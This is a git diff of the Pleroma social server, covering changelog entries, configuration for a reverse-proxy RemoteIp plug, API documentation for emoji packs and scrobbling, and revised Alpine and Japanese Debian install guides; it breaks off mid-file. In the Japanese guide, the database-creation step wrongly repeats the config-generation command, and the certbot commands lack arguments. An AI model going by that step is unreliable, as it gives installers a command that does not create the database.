diff --git a/CHANGELOG.md b/CHANGELOG.md index e3806166f..87b6d1180 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,11 +6,22 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## [Unreleased] ### Added - Refreshing poll results for remote polls +- Admin API: Add ability to require password reset +- Mastodon API: Account entities now include `follow_requests_count` (planned Mastodon 3.x addition) +- Pleroma API: `GET /api/v1/pleroma/accounts/:id/scrobbles` to get a list of recently scrobbled items +- Pleroma API: `POST /api/v1/pleroma/scrobble` to scrobble a media item + ### Changed - **Breaking:** Elixir >=1.8 is now required (was >= 1.7) +- **Breaking:** Admin API: Return link alongside with token on password reset - Replaced [pleroma_job_queue](https://git.pleroma.social/pleroma/pleroma_job_queue) and `Pleroma.Web.Federator.RetryQueue` with [Oban](https://github.com/sorentwo/oban) (see [`docs/config.md`](docs/config.md) on migrating customized worker / retry settings) - Introduced [quantum](https://github.com/quantum-elixir/quantum-core) job scheduler - Admin API: Return `total` when querying for reports +- Mastodon API: Return `pleroma.direct_conversation_id` when creating a direct message (`POST /api/v1/statuses`) +- Admin API: Return link alongside with token on password reset + +### Fixed +- Mastodon API: Fix private and direct statuses not being filtered out from the public timeline for an authenticated user (`GET /api/v1/timelines/public`) ## [1.1.0] - 2019-??-?? ### Security @@ -38,6 +49,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - AdminAPI: Add "godmode" while fetching user statuses (i.e. admin can see private statuses) - Improve digest email template – Pagination: (optional) return `total` alongside with `items` when paginating +- Add `rel="ugc"` to all links in statuses, to prevent SEO spam ### Fixed - Following from Osada @@ -100,8 +112,11 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Pleroma API: Add `/api/v1/pleroma/accounts/confirmation_resend?email=` for resending account confirmation. - Pleroma API: Email change endpoint. - Admin API: Added moderation log +- Support for `X-Forwarded-For` and similar HTTP headers which used by reverse proxies to pass a real user IP address to the backend. Must not be enabled unless your instance is behind at least one reverse proxy (such as Nginx, Apache HTTPD or Varnish Cache). - Web response cache (currently, enabled for ActivityPub) - Mastodon API: Added an endpoint to get multiple statuses by IDs (`GET /api/v1/statuses/?ids[]=1&ids[]=2`) +- ActivityPub: Add ActivityPub actor's `discoverable` parameter. +- Admin API: Added moderation log filters (user/start date/end date/search/pagination) - OAuth: support for hierarchical permissions / [Mastodon 2.4.3 OAuth permissions](https://docs.joinmastodon.org/api/permissions/) ### Changed @@ -110,6 +125,12 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - RichMedia: parsers and their order are configured in `rich_media` config. - RichMedia: add the rich media ttl based on image expiration time. +## [1.0.7] - 2019-09-26 +### Fixed +- Broken federation on Erlang 22 (previous versions of hackney http client were using an option that got deprecated) +### Changed +- ActivityPub: The first page in inboxes/outboxes is no longer embedded. + ## [1.0.6] - 2019-08-14 ### Fixed - MRF: fix use of unserializable keyword lists in describe() implementations diff --git a/config/config.exs b/config/config.exs index c7e0cf09f..36bea19a0 100644 --- a/config/config.exs +++ b/config/config.exs @@ -109,6 +109,7 @@ config :pleroma, Pleroma.Uploaders.S3, bucket: nil, + streaming_enabled: true, public_endpoint: "https://s3.amazonaws.com" config :pleroma, Pleroma.Uploaders.MDII, @@ -122,7 +123,8 @@ # Put groups that have higher priority than defaults here. Example in `docs/config/custom_emoji.md` Custom: ["/emoji/*.png", "/emoji/**/*.png"] ], - default_manifest: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json" + default_manifest: "https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json", + shared_pack_cache_seconds_per_file: 60 config :pleroma, :uri_schemes, valid_schemes: [ @@ -507,7 +509,7 @@ class: false, strip_prefix: false, new_window: false, - rel: false + rel: "ugc" ] config :pleroma, :ldap, @@ -589,6 +591,8 @@ config :pleroma, Pleroma.ActivityExpiration, enabled: true +config :pleroma, Pleroma.Plugs.RemoteIp, enabled: false + config :pleroma, :web_cache_ttl, activity_pub: nil, activity_pub_question: 30_000 diff --git a/config/description.exs b/config/description.exs index 65ea6bf01..4547ea368 100644 --- a/config/description.exs +++ b/config/description.exs @@ -110,6 +110,12 @@ description: "If you use S3 compatible service such as Digital Ocean Spaces or CDN, set folder name or \"\" etc." <> " For example, when using CDN to S3 virtual host format, set \"\". At this time, write CNAME to CDN in public_endpoint." + }, + %{ + key: :streaming_enabled, + type: :boolean, + description: + "Enable streaming uploads, when enabled the file will be sent to the server in chunks as it's being read. This may be unsupported by some providers, try disabling this if you have upload problems." } ] }, @@ -1900,7 +1906,7 @@ key: :rel, type: [:string, false], description: "override the rel attribute. false to clear", - suggestions: ["noopener noreferrer", false] + suggestions: ["ugc", "noopener noreferrer", false] }, %{ key: :new_window, @@ -2256,6 +2262,14 @@ "Location of the JSON-manifest. This manifest contains information about the emoji-packs you can download." <> " Currently only one manifest can be added (no arrays)", suggestions: ["https://git.pleroma.social/pleroma/emoji-index/raw/master/index.json"] + }, + %{ + key: :shared_pack_cache_seconds_per_file, + type: :integer, + descpiption: + "When an emoji pack is shared, the archive is created and cached in memory" <> + " for this amount of seconds multiplied by the number of files.", + suggestions: [60] } ] }, @@ -2673,6 +2687,42 @@ } ] }, + %{ + group: :pleroma, + key: Pleroma.Plugs.RemoteIp, + type: :group, + description: """ + **If your instance is not behind at least one reverse proxy, you should not enable this plug.** + + `Pleroma.Plugs.RemoteIp` is a shim to call [`RemoteIp`](https://git.pleroma.social/pleroma/remote_ip) but with runtime configuration. + """, + children: [ + %{ + key: :enabled, + type: :boolean, + description: "Enable/disable the plug. Defaults to `false`.", + suggestions: [true, false] + }, + %{ + key: :headers, + type: {:list, :string}, + description: + "A list of strings naming the `req_headers` to use when deriving the `remote_ip`. Order does not matter. Defaults to `~w[forwarded x-forwarded-for x-client-ip x-real-ip]`." + }, + %{ + key: :proxies, + type: {:list, :string}, + description: + "A list of strings in [CIDR](https://en.wikipedia.org/wiki/CIDR) notation specifying the IPs of known proxies. Defaults to `[]`." + }, + %{ + key: :reserved, + type: {:list, :string}, + description: + "Defaults to [localhost](https://en.wikipedia.org/wiki/Localhost) and [private network](https://en.wikipedia.org/wiki/Private_network)." + } + ] + }, %{ group: :pleroma, key: :web_cache_ttl, diff --git a/config/test.exs b/config/test.exs index df512b5d7..da2778aa7 100644 --- a/config/test.exs +++ b/config/test.exs @@ -30,7 +30,8 @@ notify_email: "noreply@example.com", skip_thread_containment: false, federating: false, - external_user_synchronization: false + external_user_synchronization: false, + static_dir: "test/instance_static/" config :pleroma, :activitypub, sign_object_fetches: false diff --git a/docs/api/admin_api.md b/docs/api/admin_api.md index 7637fa0d4..ee9e68cb1 100644 --- a/docs/api/admin_api.md +++ b/docs/api/admin_api.md @@ -308,16 +308,32 @@ Note: Available `:permission_group` is currently moderator and admin. 404 is ret - Methods: `GET` - Params: none -- Response: password reset token (base64 string) +- Response: + +```json +{ + "token": "base64 reset token", + "link": "https://pleroma.social/api/pleroma/password_reset/url-encoded-base64-token" +} +``` + + +## `/api/pleroma/admin/users/:nickname/force_password_reset` + +### Force passord reset for a user with a given nickname + +- Methods: `PATCH` +- Params: none +- Response: none (code `204`) ## `/api/pleroma/admin/reports` ### Get a list of reports - Method `GET` - Params: - - `state`: optional, the state of reports. Valid values are `open`, `closed` and `resolved` - - `limit`: optional, the number of records to retrieve - - `since_id`: optional, returns results that are more recent than the specified id - - `max_id`: optional, returns results that are older than the specified id + - *optional* `state`: **string** the state of reports. Valid values are `open`, `closed` and `resolved` + - *optional* `limit`: **integer** the number of records to retrieve + - *optional* `page`: **integer** page number + - *optional* `page_size`: **integer** number of log entries per page (default is `50`) - Response: - On failure: 403 Forbidden error `{"error": "error_msg"}` when requested by anonymous or non-admin - On success: JSON, returns a list of reports, where: @@ -695,6 +711,7 @@ Compile time settings (need instance reboot): } ] } +``` - Response: @@ -715,7 +732,11 @@ Compile time settings (need instance reboot): - Method `GET` - Params: - *optional* `page`: **integer** page number - - *optional* `page_size`: **integer** number of users per page (default is `50`) + - *optional* `page_size`: **integer** number of log entries per page (default is `50`) + - *optional* `start_date`: **datetime (ISO 8601)** filter logs by creation date, start from `start_date`. Accepts datetime in ISO 8601 format (YYYY-MM-DDThh:mm:ss), e.g. `2005-08-09T18:31:42` + - *optional* `end_date`: **datetime (ISO 8601)** filter logs by creation date, end by from `end_date`. Accepts datetime in ISO 8601 format (YYYY-MM-DDThh:mm:ss), e.g. 2005-08-09T18:31:42 + - *optional* `user_id`: **integer** filter logs by actor's id + - *optional* `search`: **string** search logs by the log message - Response: ```json @@ -733,3 +754,10 @@ Compile time settings (need instance reboot): } ] ``` + +## `POST /api/pleroma/admin/reload_emoji` +### Reload the instance's custom emoji +* Method `POST` +* Authentication: required +* Params: None +* Response: JSON, "ok" and 200 status diff --git a/docs/api/differences_in_mastoapi_responses.md b/docs/api/differences_in_mastoapi_responses.md index 3c7f5dad7..d007a69c3 100644 --- a/docs/api/differences_in_mastoapi_responses.md +++ b/docs/api/differences_in_mastoapi_responses.md @@ -21,7 +21,8 @@ Adding the parameter `with_muted=true` to the timeline queries will also return Has these additional fields under the `pleroma` object: - `local`: true if the post was made on the local instance -- `conversation_id`: the ID of the conversation the status is associated with (if any) +- `conversation_id`: the ID of the AP context the status is associated with (if any) +- `direct_conversation_id`: the ID of the Mastodon direct message conversation the status is associated with (if any) - `in_reply_to_account_acct`: the `acct` property of User entity for replied user (if any) - `content`: a map consisting of alternate representations of the `content` property with the key being it's mimetype. Currently the only alternate representation supported is `text/plain` - `spoiler_text`: a map consisting of alternate representations of the `spoiler_text` property with the key being it's mimetype. Currently the only alternate representation supported is `text/plain` diff --git a/docs/api/pleroma_api.md b/docs/api/pleroma_api.md index 30fac77da..41889a0ef 100644 --- a/docs/api/pleroma_api.md +++ b/docs/api/pleroma_api.md @@ -365,3 +365,109 @@ The status posting endpoint takes an additional parameter, `in_reply_to_conversa * Params: * `recipients`: A list of ids of users that should receive posts to this conversation. This will replace the current list of recipients, so submit the full list. The owner of owner of the conversation will always be part of the set of recipients, though. * Response: JSON, statuses (200 - healthy, 503 unhealthy) + +## `GET /api/pleroma/emoji/packs` +### Lists the custom emoji packs on the server +* Method `GET` +* Authentication: not required +* Params: None +* Response: JSON, "ok" and 200 status and the JSON hashmap of "pack name" to "pack contents" + +## `PUT /api/pleroma/emoji/packs/:name` +### Creates an empty custom emoji pack +* Method `PUT` +* Authentication: required +* Params: None +* Response: JSON, "ok" and 200 status or 409 if the pack with that name already exists + +## `DELETE /api/pleroma/emoji/packs/:name` +### Delete a custom emoji pack +* Method `DELETE` +* Authentication: required +* Params: None +* Response: JSON, "ok" and 200 status or 500 if there was an error deleting the pack + +## `POST /api/pleroma/emoji/packs/:name/update_file` +### Update a file in a custom emoji pack +* Method `POST` +* Authentication: required +* Params: + * if the `action` is `add`, adds an emoji named `shortcode` to the pack `pack_name`, + that means that the emoji file needs to be uploaded with the request + (thus requiring it to be a multipart request) and be named `file`. + There can also be an optional `filename` that will be the new emoji file name + (if it's not there, the name will be taken from the uploaded file). + * if the `action` is `update`, changes emoji shortcode + (from `shortcode` to `new_shortcode` or moves the file (from the current filename to `new_filename`) + * if the `action` is `remove`, removes the emoji named `shortcode` and it's associated file +* Response: JSON, updated "files" section of the pack and 200 status, 409 if the trying to use a shortcode + that is already taken, 400 if there was an error with the shortcode, filename or file (additional info + in the "error" part of the response JSON) + +## `POST /api/pleroma/emoji/packs/:name/update_metadata` +### Updates (replaces) pack metadata +* Method `POST` +* Authentication: required +* Params: + * `new_data`: new metadata to replace the old one +* Response: JSON, updated "metadata" section of the pack and 200 status or 400 if there was a + problem with the new metadata (the error is specified in the "error" part of the response JSON) + +## `POST /api/pleroma/emoji/packs/download_from` +### Requests the instance to download the pack from another instance +* Method `POST` +* Authentication: required +* Params: + * `instance_address`: the address of the instance to download from + * `pack_name`: the pack to download from that instance +* Response: JSON, "ok" and 200 status if the pack was downloaded, or 500 if there were + errors downloading the pack + +## `POST /api/pleroma/emoji/packs/list_from` +### Requests the instance to list the packs from another instance +* Method `POST` +* Authentication: required +* Params: + * `instance_address`: the address of the instance to download from +* Response: JSON with the pack list, same as if the request was made to that instance's + list endpoint directly + 200 status + +## `GET /api/pleroma/emoji/packs/:name/download_shared` +### Requests a local pack from the instance +* Method `GET` +* Authentication: not required +* Params: None +* Response: the archive of the pack with a 200 status code, 403 if the pack is not set as shared, + 404 if the pack does not exist + +## `GET /api/v1/pleroma/accounts/:id/scrobbles` +### Requests a list of current and recent Listen activities for an account +* Method `GET` +* Authentication: not required +* Params: None +* Response: An array of media metadata entities. +* Example response: +```json +[ + { + "account": {...}, + "id": "1234", + "title": "Some Title", + "artist": "Some Artist", + "album": "Some Album", + "length": 180000, + "created_at": "2019-09-28T12:40:45.000Z" + } +] +``` + +## `POST /api/v1/pleroma/scrobble` +### Creates a new Listen activity for an account +* Method `POST` +* Authentication: required +* Params: + * `title`: the title of the media playing + * `album`: the album of the media playing [optional] + * `artist`: the artist of the media playing [optional] + * `length`: the length of the media playing [optional] +* Response: the newly created media metadata entity representing the Listen activity diff --git a/docs/clients.md b/docs/clients.md index 9029361f8..6c6180f7a 100644 --- a/docs/clients.md +++ b/docs/clients.md @@ -39,7 +39,7 @@ Feel free to contact us to be added to this list! ### Nekonium - Homepage: [F-Droid Repository](https://repo.gdgd.jp.net/), [Google Play](https://play.google.com/store/apps/details?id=com.apps.nekonium), [Amazon](https://www.amazon.co.jp/dp/B076FXPRBC/) -- Source: +- Source: - Contact: [@lin@pleroma.gdgd.jp.net](https://pleroma.gdgd.jp.net/users/lin) - Platforms: Android - Features: Streaming Ready @@ -67,7 +67,7 @@ Feel free to contact us to be added to this list! ## Alternative Web Interfaces ### Brutaldon - Homepage: -- Source Code: +- Source Code: - Contact: [@gcupc@glitch.social](https://glitch.social/users/gcupc) - Features: No Streaming diff --git a/docs/config.md b/docs/config.md index 3f37fa561..262d15bba 100644 --- a/docs/config.md +++ b/docs/config.md @@ -23,6 +23,7 @@ Note: `strip_exif` has been replaced by `Pleroma.Upload.Filter.Mogrify`. * `truncated_namespace`: If you use S3 compatible service such as Digital Ocean Spaces or CDN, set folder name or "" etc. For example, when using CDN to S3 virtual host format, set "". At this time, write CNAME to CDN in public_endpoint. +* `streaming_enabled`: Enable streaming uploads, when enabled the file will be sent to the server in chunks as it's being read. This may be unsupported by some providers, try disabling this if you have upload problems. ## Pleroma.Upload.Filter.Mogrify @@ -521,7 +522,7 @@ config :auto_linker, class: false, strip_prefix: false, new_window: false, - rel: false + rel: "ugc" ] ``` @@ -707,6 +708,8 @@ Configure OAuth 2 provider capabilities: * `pack_extensions`: A list of file extensions for emojis, when no emoji.txt for a pack is present. Example `[".png", ".gif"]` * `groups`: Emojis are ordered in groups (tags). This is an array of key-value pairs where the key is the groupname and the value the location or array of locations. `*` can be used as a wildcard. Example `[Custom: ["/emoji/*.png", "/emoji/custom/*.png"]]` * `default_manifest`: Location of the JSON-manifest. This manifest contains information about the emoji-packs you can download. Currently only one manifest can be added (no arrays). +* `shared_pack_cache_seconds_per_file`: When an emoji pack is shared, the archive is created and cached in + memory for this amount of seconds multiplied by the number of files. ## Database options @@ -727,6 +730,8 @@ This will probably take a long time. This is an advanced feature and disabled by default. +If your instance is behind a reverse proxy you must enable and configure [`Pleroma.Plugs.RemoteIp`](#pleroma-plugs-remoteip). + A keyword list of rate limiters where a key is a limiter name and value is the limiter configuration. The basic configuration is a tuple where: * The first element: `scale` (Integer). The time scale in milliseconds. @@ -753,3 +758,16 @@ Available caches: * `:activity_pub` - activity pub routes (except question activities). Defaults to `nil` (no expiration). * `:activity_pub_question` - activity pub routes (question activities). Defaults to `30_000` (30 seconds). + +## Pleroma.Plugs.RemoteIp + +**If your instance is not behind at least one reverse proxy, you should not enable this plug.** + +`Pleroma.Plugs.RemoteIp` is a shim to call [`RemoteIp`](https://git.pleroma.social/pleroma/remote_ip) but with runtime configuration. + +Available options: + +* `enabled` - Enable/disable the plug. Defaults to `false`. +* `headers` - A list of strings naming the `req_headers` to use when deriving the `remote_ip`. Order does not matter. Defaults to `~w[forwarded x-forwarded-for x-client-ip x-real-ip]`. +* `proxies` - A list of strings in [CIDR](https://en.wikipedia.org/wiki/CIDR) notation specifying the IPs of known proxies. Defaults to `[]`. +* `reserved` - Defaults to [localhost](https://en.wikipedia.org/wiki/Localhost) and [private network](https://en.wikipedia.org/wiki/Private_network). diff --git a/docs/installation/alpine_linux_en.md b/docs/installation/alpine_linux_en.md index 1f300f353..f200362ca 100644 --- a/docs/installation/alpine_linux_en.md +++ b/docs/installation/alpine_linux_en.md @@ -1,7 +1,9 @@ # Installing on Alpine Linux ## Installation -This guide is a step-by-step installation guide for Alpine Linux. It also assumes that you have administrative rights, either as root or a user with [sudo permissions](https://www.linode.com/docs/tools-reference/custom-kernels-distros/install-alpine-linux-on-your-linode/#configuration). If you want to run this guide with root, ignore the `sudo` at the beginning of the lines, unless it calls a user like `sudo -Hu pleroma`; in this case, use `su -l -s $SHELL -c 'command'` instead. +This guide is a step-by-step installation guide for Alpine Linux. The instructions were verified against Alpine v3.10 standard image. You might miss additional dependencies if you use `netboot` instead. + +It assumes that you have administrative rights, either as root or a user with [sudo permissions](https://www.linode.com/docs/tools-reference/custom-kernels-distros/install-alpine-linux-on-your-linode/#configuration). If you want to run this guide with root, ignore the `sudo` at the beginning of the lines, unless it calls a user like `sudo -Hu pleroma`; in this case, use `su -l -s $SHELL -c 'command'` instead. ### Required packages @@ -20,12 +22,13 @@ This guide is a step-by-step installation guide for Alpine Linux. It also assume ### Prepare the system -* First make sure to have the community repository enabled: +* The community repository must be enabled in `/etc/apk/repositories`. Depending on which version and mirror you use this looks like `http://alpine.42.fr/v3.10/community`. If you autogenerated the mirror during installation: ```shell -echo "https://nl.alpinelinux.org/alpine/latest-stable/community" | sudo tee -a /etc/apk/repository +awk 'NR==2' /etc/apk/repositories | sed 's/main/community/' | tee -a /etc/apk/repositories ``` + * Then update the system, if not already done: ```shell @@ -77,7 +80,8 @@ sudo rc-update add postgresql * Add a new system user for the Pleroma service: ```shell -sudo adduser -S -s /bin/false -h /opt/pleroma -H pleroma +sudo addgroup pleroma +sudo adduser -S -s /bin/false -h /opt/pleroma -H -G pleroma pleroma ``` **Note**: To execute a single command as the Pleroma system user, use `sudo -Hu pleroma command`. You can also switch to a shell by using `sudo -Hu pleroma $SHELL`. If you don’t have and want `sudo` on your system, you can use `su` as root user (UID 0) for a single command by using `su -l pleroma -s $SHELL -c 'command'` and `su -l pleroma -s $SHELL` for starting a shell. @@ -164,7 +168,26 @@ If that doesn’t work, make sure, that nginx is not already running. If it stil sudo cp /opt/pleroma/installation/pleroma.nginx /etc/nginx/conf.d/pleroma.conf ``` -* Before starting nginx edit the configuration and change it to your needs (e.g. change servername, change cert paths) +* Before starting nginx edit the configuration and change it to your needs. You must change change `server_name` and the paths to the certificates. You can use `nano` (install with `apk add nano` if missing). + +``` +server { + server_name your.domain; + listen 80; + ... +} + +server { + server_name your.domain; + listen 443 ssl http2; + ... + ssl_trusted_certificate /etc/letsencrypt/live/your.domain/chain.pem; + ssl_certificate /etc/letsencrypt/live/your.domain/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/your.domain/privkey.pem; + ... +} +``` + * Enable and start nginx: ```shell diff --git a/docs/installation/debian_based_jp.md b/docs/installation/debian_based_jp.md index caf72363b..5ca6b3634 100644 --- a/docs/installation/debian_based_jp.md +++ b/docs/installation/debian_based_jp.md @@ -5,180 +5,179 @@ ## インストール -このガイドはDebian Stretchを仮定しています。Ubuntu 16.04でも可能です。 +このガイドはDebian Stretchを利用することを想定しています。Ubuntu 16.04や18.04でもおそらく動作します。また、ユーザはrootもしくはsudoにより管理者権限を持っていることを前提とします。もし、以下の操作をrootユーザで行う場合は、 `sudo` を無視してください。ただし、`sudo -Hu pleroma` のようにユーザを指定している場合には `su -s $SHELL -c 'command'` を代わりに使ってください。 ### 必要なソフトウェア -- PostgreSQL 9.6+ (postgresql-contrib-9.6 または他のバージョンの PSQL をインストールしてください) -- Elixir 1.5 以上 ([Debianのリポジトリからインストールしないこと!!! ここからインストールすること!](https://elixir-lang.org/install.html#unix-and-unix-like))。または [asdf](https://github.com/asdf-vm/asdf) を pleroma ユーザーでインストール。 -- erlang-dev +- PostgreSQL 9.6以上 (Ubuntu16.04では9.5しか提供されていないので,[](https://www.postgresql.org/download/linux/ubuntu/)こちらから新しいバージョンを入手してください) +- postgresql-contrib 9.6以上 (同上) +- Elixir 1.5 以上 ([Debianのリポジトリからインストールしないこと!!! ここからインストールすること!](https://elixir-lang.org/install.html#unix-and-unix-like)。または [asdf](https://github.com/asdf-vm/asdf) をpleromaユーザーでインストールしてください) + - erlang-dev - erlang-tools - erlang-parsetools +- erlang-eldap (LDAP認証を有効化するときのみ必要) - erlang-ssh -- erlang-xmerl (Jessieではバックポートからインストールすること!) +- erlang-xmerl - git - build-essential -- openssh -- openssl -- nginx prefered (Apacheも動くかもしれませんが、誰もテストしていません!) -- certbot (または何らかのACME Let's encryptクライアント) + +#### このガイドで利用している追加パッケージ + +- nginx (おすすめです。他のリバースプロキシを使う場合は、参考となる設定をこのリポジトリから探してください) +- certbot (または何らかのLet's Encrypt向けACMEクライアント) ### システムを準備する * まずシステムをアップデートしてください。 ``` -apt update && apt dist-upgrade +sudo apt update +sudo apt full-upgrade ``` -* 複数のツールとpostgresqlをインストールします。あとで必要になるので。 +* 上記に挙げたパッケージをインストールしておきます。 ``` -apt install git build-essential openssl ssh sudo postgresql-9.6 postgresql-contrib-9.6 +sudo apt install git build-essential postgresql postgresql-contrib ``` -(postgresqlのバージョンは、あなたのディストロにあわせて変えてください。または、バージョン番号がいらないかもしれません。) + ### ElixirとErlangをインストールします * Erlangのリポジトリをダウンロードおよびインストールします。 ``` -wget -P /tmp/ https://packages.erlang-solutions.com/erlang-solutions_1.0_all.deb && sudo dpkg -i /tmp/erlang-solutions_1.0_all.deb +wget -P /tmp/ https://packages.erlang-solutions.com/erlang-solutions_1.0_all.deb +sudo dpkg -i /tmp/erlang-solutions_1.0_all.deb ``` * ElixirとErlangをインストールします、 ``` -apt update && apt install elixir erlang-dev erlang-parsetools erlang-xmerl erlang-tools erlang-ssh +sudo apt update +sudo apt install elixir erlang-dev erlang-parsetools erlang-xmerl erlang-tools erlang-ssh ``` ### Pleroma BE (バックエンド) をインストールします -* 新しいユーザーを作ります。 -``` -adduser pleroma -``` -(Give it any password you want, make it STRONG) +* Pleroma用に新しいユーザーを作ります。 -* 新しいユーザーをsudoグループに入れます。 ``` -usermod -aG sudo pleroma +sudo useradd -r -s /bin/false -m -d /var/lib/pleroma -U pleroma ``` -* 新しいユーザーに変身し、ホームディレクトリに移動します。 -``` -su pleroma -cd ~ -``` +**注意**: Pleromaユーザとして単発のコマンドを実行したい場合はは、`sudo -Hu pleroma command` を使ってください。シェルを使いたい場合は `sudo -Hu pleroma $SHELL`です。もし `sudo` を使わない場合は、rootユーザで `su -l pleroma -s $SHELL -c 'command'` とすることでコマンドを、`su -l pleroma -s $SHELL` とすることでシェルを開始できます。 * Gitリポジトリをクローンします。 ``` -git clone -b master https://git.pleroma.social/pleroma/pleroma +sudo mkdir -p /opt/pleroma +sudo chown -R pleroma:pleroma /opt/pleroma +sudo -Hu pleroma git clone -b master https://git.pleroma.social/pleroma/pleroma /opt/pleroma ``` * 新しいディレクトリに移動します。 ``` -cd pleroma/ +cd /opt/pleroma ``` * Pleromaが依存するパッケージをインストールします。Hexをインストールしてもよいか聞かれたら、yesを入力してください。 ``` -mix deps.get +sudo -Hu pleroma mix deps.get ``` * コンフィギュレーションを生成します。 ``` -mix pleroma.instance gen +sudo -Hu pleroma mix pleroma.instance gen ``` * rebar3をインストールしてもよいか聞かれたら、yesを入力してください。 - * この処理には時間がかかります。私もよく分かりませんが、何らかのコンパイルが行われているようです。 - * あなたのインスタンスについて、いくつかの質問があります。その回答は `config/generated_config.exs` というコンフィギュレーションファイルに保存されます。 + * このときにpleromaの一部がコンパイルされるため、この処理には時間がかかります。 + * あなたのインスタンスについて、いくつかの質問されます。この質問により `config/generated_config.exs` という設定ファイルが生成されます。 -**注意**: メディアプロクシを有効にすると回答して、なおかつ、キャッシュのURLは空欄のままにしている場合は、`generated_config.exs` を編集して、`base_url` で始まる行をコメントアウトまたは削除してください。そして、上にある行の `true` の後にあるコンマを消してください。 * コンフィギュレーションを確認して、もし問題なければ、ファイル名を変更してください。 ``` mv config/{generated_config.exs,prod.secret.exs} ``` -* これまでのコマンドで、すでに `config/setup_db.psql` というファイルが作られています。このファイルをもとに、データベースを作成します。 +* 先程のコマンドで、すでに `config/setup_db.psql` というファイルが作られています。このファイルをもとに、データベースを作成します。 ``` -sudo su postgres -c 'psql -f config/setup_db.psql' +sudo -Hu pleroma mix pleroma.instance gen ``` -* そして、データベースのミグレーションを実行します。 +* そして、データベースのマイグレーションを実行します。 ``` -MIX_ENV=prod mix ecto.migrate +sudo -Hu pleroma MIX_ENV=prod mix ecto.migrate ``` -* Pleromaを起動できるようになりました。 +* これでPleromaを起動できるようになりました。 ``` -MIX_ENV=prod mix phx.server +sudo -Hu pleroma MIX_ENV=prod mix phx.server ``` -### インストールを終わらせる +### インストールの最終段階 -あなたの新しいインスタンスを世界に向けて公開するには、nginxまたは何らかのウェブサーバー (プロクシ) を使用する必要があります。また、Pleroma のためにシステムサービスファイルを作成する必要があります。 +あなたの新しいインスタンスを世界に向けて公開するには、nginx等のWebサーバやプロキシサーバをPleromaの前段に使用する必要があります。また、Pleroma のためにシステムサービスファイルを作成する必要があります。 #### Nginx * まだインストールしていないなら、nginxをインストールします。 ``` -apt install nginx +sudo apt install nginx ``` * SSLをセットアップします。他の方法でもよいですが、ここではcertbotを説明します。 certbotを使うならば、まずそれをインストールします。 ``` -apt install certbot +sudo apt install certbot ``` そしてセットアップします。 ``` -mkdir -p /var/lib/letsencrypt/.well-known -% certbot certonly --email your@emailaddress --webroot -w /var/lib/letsencrypt/ -d yourdomain +sudo mkdir -p /var/lib/letsencrypt/ +sudo certbot certonly --email -d --standalone ``` -もしうまくいかないときは、先にnginxを設定してください。ssl "on" を "off" に変えてから再試行してください。 +もしうまくいかないときは、nginxが正しく動いていない可能性があります。先にnginxを設定してください。ssl "on" を "off" に変えてから再試行してください。 --- -* nginxコンフィギュレーションの例をnginxフォルダーにコピーします。 +* nginxの設定ファイルサンプルをnginxフォルダーにコピーします。 ``` -cp /home/pleroma/pleroma/installation/pleroma.nginx /etc/nginx/sites-enabled/pleroma.nginx +sudo cp /opt/pleroma/installation/pleroma.nginx /etc/nginx/sites-available/pleroma.nginx +sudo ln -s /etc/nginx/sites-available/pleroma.nginx /etc/nginx/sites-enabled/pleroma.nginx ``` -* nginxを起動する前に、コンフィギュレーションを編集してください。例えば、サーバー名、証明書のパスなどを変更する必要があります。 +* nginxを起動する前に、設定ファイルを編集してください。例えば、サーバー名、証明書のパスなどを変更する必要があります。 * nginxを再起動します。 ``` -systemctl reload nginx.service +sudo systemctl enable --now nginx.service ``` +もし証明書を更新する必要が出てきた場合には、nginxの関連するlocationブロックのコメントアウトを外し、以下のコマンドを動かします。 + +``` +sudo certbot certonly --email -d --webroot -w /var/lib/letsencrypt/ +``` + +#### 他のWebサーバやプロキシ +これに関してはサンプルが `/opt/pleroma/installation/` にあるので、探してみてください。 + #### Systemd サービス -* サービスファイルの例をコピーします。 +* サービスファイルのサンプルをコピーします。 ``` -cp /home/pleroma/pleroma/installation/pleroma.service /usr/lib/systemd/system/pleroma.service +sudo cp /opt/pleroma/installation/pleroma.service /etc/systemd/system/pleroma.service ``` -* サービスファイルを変更します。すべてのパスが正しいことを確認してください。また、`[Service]` セクションに以下の行があることを確認してください。 +* サービスファイルを変更します。すべてのパスが正しいことを確認してください +* サービスを有効化し `pleroma.service` を開始してください ``` -Environment="MIX_ENV=prod" +sudo systemctl enable --now pleroma.service ``` -* `pleroma.service` を enable および start してください。 +#### 初期ユーザの作成 + +新たにインスタンスを作成したら、以下のコマンドにより管理者権限を持った初期ユーザを作成できます。 + ``` -systemctl enable --now pleroma.service +sudo -Hu pleroma MIX_ENV=prod mix pleroma.user new --admin ``` -#### モデレーターを作る - -新たにユーザーを作ったら、モデレーター権限を与えたいかもしれません。以下のタスクで可能です。 -``` -mix set_moderator username [true|false] -``` - -モデレーターはすべてのポストを消すことができます。将来的には他のことも可能になるかもしれません。 - -#### メディアプロクシを有効にする - -`generate_config` でメディアプロクシを有効にしているなら、すでにメディアプロクシが動作しています。あとから設定を変更したいなら、[How to activate mediaproxy](How-to-activate-mediaproxy) を見てください。 - -#### コンフィギュレーションとカスタマイズ +#### その他の設定とカスタマイズ * [Backup your instance](backup.html) * [Configuration tips](general-tips-for-customizing-pleroma-fe.html) diff --git a/installation/pleroma-mongooseim.cfg b/installation/pleroma-mongooseim.cfg index d7567321f..576f83541 100755 --- a/installation/pleroma-mongooseim.cfg +++ b/installation/pleroma-mongooseim.cfg @@ -215,7 +215,9 @@ ]} ]}, - { 5222, ejabberd_c2s, [ + %% If you want dual stack, you have to clone this entire config stanza + %% and change the bind to "::" + { {5222, "0.0.0.0"}, ejabberd_c2s, [ %% %% If TLS is compiled in and you installed a SSL @@ -246,7 +248,9 @@ %% {max_stanza_size, 65536} %% ]}, - { 5269, ejabberd_s2s_in, [ + %% If you want dual stack, you have to clone this entire config stanza + %% and change the bind to "::" + { {5269, "0.0.0.0"}, ejabberd_s2s_in, [ {shaper, s2s_shaper}, {max_stanza_size, 131072}, {protocol_options, ["no_sslv3"]} diff --git a/installation/pleroma.nginx b/installation/pleroma.nginx index 4da9918ca..7f48b614b 100644 --- 